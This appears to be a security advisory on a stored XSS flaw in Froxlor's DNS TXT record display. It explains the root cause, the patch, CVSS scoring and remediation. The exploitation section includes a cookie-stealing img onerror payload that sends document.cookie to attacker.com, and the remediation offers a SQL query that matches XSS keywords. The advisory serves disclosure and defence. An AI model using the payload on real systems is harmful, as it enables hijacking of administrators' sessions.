Aug 19, 2026·6 min read·2 visits
Authenticated customers with DNS editing access can store malicious JavaScript in DNS TXT records, leading to arbitrary code execution in the browser of any administrator who views the domain's configuration.
A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.
Froxlor is an open-source hosting management panel that allows administrators to delegate server administration resources to customers. The core platform handles domain provisioning, mail server routing, and Domain Name System (DNS) zone management. Because customers are permitted to configure their own DNS zones, the interfaces associated with DNS record creation form an entry point to the application's data-persistence layers.
This vulnerability, tracked as CVE-2026-54347 (GHSA-43gm-9rr3-cx7g), resides in the presentation layer of the DNS management module. Specifically, the vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It represents a stored cross-site scripting flaw that bridges security boundaries between non-privileged customer sessions and high-privilege administrative sessions.
The attack surface is exposed via the customer-facing DNS record management interface. While customers are restricted to managing records associated with their assigned domains, administrators regularly audit, troubleshoot, or modify these same zones from the administrative panel. Consequently, malicious payloads injected into customer-controlled records can target administrative sessions.
The root cause of CVE-2026-54347 is a failure of context-aware output encoding when rendering dynamically formatted database records within Twig templates. The flow of data from input to execution follows a multi-stage pipeline across the MVC layout of the Froxlor DNS management module.
First, input ingestion occurs via lib/Froxlor/Api/Commands/DomainZones.php. When a customer saves a DNS TXT record, the controller relies on a restrictive regular expression for sanitization:
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);This filter removes non-printable ASCII and binary control characters but explicitly preserves standard printable ASCII characters. Characters such as < and > are stored in the database without modifications or encoding.
Second, the formatting layer modifies the string prior to UI generation. The application uses UI callbacks to adjust long strings inside data tables. For TXT records, the application calls the Text::wordwrap callback, located in lib/Froxlor/UI/Callbacks/Text.php, which inserts HTML line breaks (<br>) every 100 characters to prevent layout distortion.
Third, the rendering pipeline processes the string. Because the Text::wordwrap callback injects physical <br> elements that must be interpreted as HTML markup by the browser, the template file responsible for rendering table cells (templates/Froxlor/table/table.html.twig) disables auto-escaping using the |raw filter. The raw output is delivered directly to the browser, leading to script execution.
The vulnerability was resolved in version 2.3.8 by introducing context-aware sanitization inside the callback before string processing occurs. The following diff highlights the code modification applied in lib/Froxlor/UI/Callbacks/Text.php:
@@ -92,7 +92,7 @@ public static function shorten(array $attributes): string
public static function wordwrap(array $attributes): string
{
- return wordwrap($attributes['data'], 100, '<br>', true);
+ return wordwrap(htmlspecialchars($attributes['data']), 100, '<br>', true);
}
public static function customerNoteDetailModal(array $attributes): arrayApplying htmlspecialchars directly to $attributes['data'] prior to the wordwrap execution transforms characters like < and > into their equivalent HTML entities (< and >). This process occurs prior to the insertion of the raw <br> strings.
When the Twig template processes the modified output using the |raw filter, the browser interprets the <br> tags as actual carriage returns but displays the underlying script tags as literal text instead of executing them.
Although this patch secures the specific Text::wordwrap callback, the underlying Twig template (table.html.twig) continues to use the |raw filter for cell rendering. This architecture introduces a reliance on individual callback developers to enforce escaping. Any future callback added to the platform that handles user-supplied data without manually applying htmlspecialchars or equivalent sanitization filters will reintroduce similar stored XSS vulnerabilities.
Exploitation of CVE-2026-54347 requires an attacker to possess valid credentials for a customer account configured with permission to manage domain zone files. No administrative or high-privilege access is required to initiate the attack.
The attacker injects a stored script payload into a new DNS TXT record. A standard payload structure utilizes a source-based or image-based callback to deliver the script:
<img src=x onerror="fetch('https://attacker.com/log?c=' + encodeURIComponent(document.cookie))">When the administrative user navigates to the DNS overview page for the customer's domain, the server fetches the record from the panel_dns table, routes it through the vulnerable wordwrap callback, and renders it in the administrative interface. The browser executes the payload instantly, transmitting the administrator's active session identifiers or anti-CSRF tokens to the listener controlled by the attacker.
The CVSS 3.1 base score for this vulnerability is 8.7, indicating high severity. The attack vector is Network-based (AV:N), and the complexity is Low (AC:L), meaning standard network conditions and minimal preparation are necessary for successful execution. The privilege requirement is Low (PR:L), as the attacker must only have standard customer access to modify their zone files.
The scope is Changed (S:C) because the injected script operates within the browser of the administrator, manipulating resources and privileges associated with a superior security context. This allows complete takeover of the administrator's active session. This mechanism permits the exfiltration of sensitive server configurations, customer records, and system-level access credentials.
By leveraging the administrator's session, an attacker can invoke administrative endpoints to execute high-privilege operations. These operations include creating new administrative accounts, modifying server-wide services, executing arbitrary commands via system integrations, or completely compromising the underlying hosting infrastructure.
The primary remediation strategy is upgrading the Froxlor installation to version 2.3.8 or later, which implements the necessary sanitization patches. Organizations should immediately apply updates to their hosting control panels to eliminate exposure.
If immediate software upgrade is not feasible, administrators can apply a hotfix manually. Locate lib/Froxlor/UI/Callbacks/Text.php and update the wordwrap function signature to implement the htmlspecialchars wrapper:
public static function wordwrap(array $attributes): string
{
return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'), 100, '<br>', true);
}To identify existing indicators of compromise or stored payloads within the system, run a database query against the zone tables to isolate suspicious string constructs:
SELECT id, domainid, record, type, content
FROM panel_dns
WHERE type = 'TXT'
AND (content LIKE '%<script%' OR content LIKE '%<img%' OR content LIKE '%onerror%' OR content LIKE '%javascript:%');Additionally, implementing a strict Content Security Policy (CSP) is recommended. Restricting script evaluation by removing the 'unsafe-inline' and 'unsafe-eval' directives from the HTTP headers of the Froxlor admin interface prevents execution of injected script tags, providing robust defense-in-depth.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Froxlor Froxlor | < 2.3.8 | 2.3.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 8.7 |
| Exploit Status | poc |
| KEV Status | Not listed |
| Impact | Administrative Session Hijacking / Privilege Escalation |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.
CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.
CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.
Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.
An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.
CVE-2026-70666 is a critical Server-Side Request Forgery (SSRF) vulnerability in Netflix Lemur's ACME certificate management integration. Prior to version 1.9.3, the system allowed authority-role users to bypass initial ACME URL allowlist validations when updating an existing authority. Additionally, the underlying ACME network client blindly parsed and connected to dynamic endpoint URLs supplied in JSON responses from the configured ACME directory, allowing attackers to route arbitrary JWS-signed requests to internal services or cloud metadata endpoints.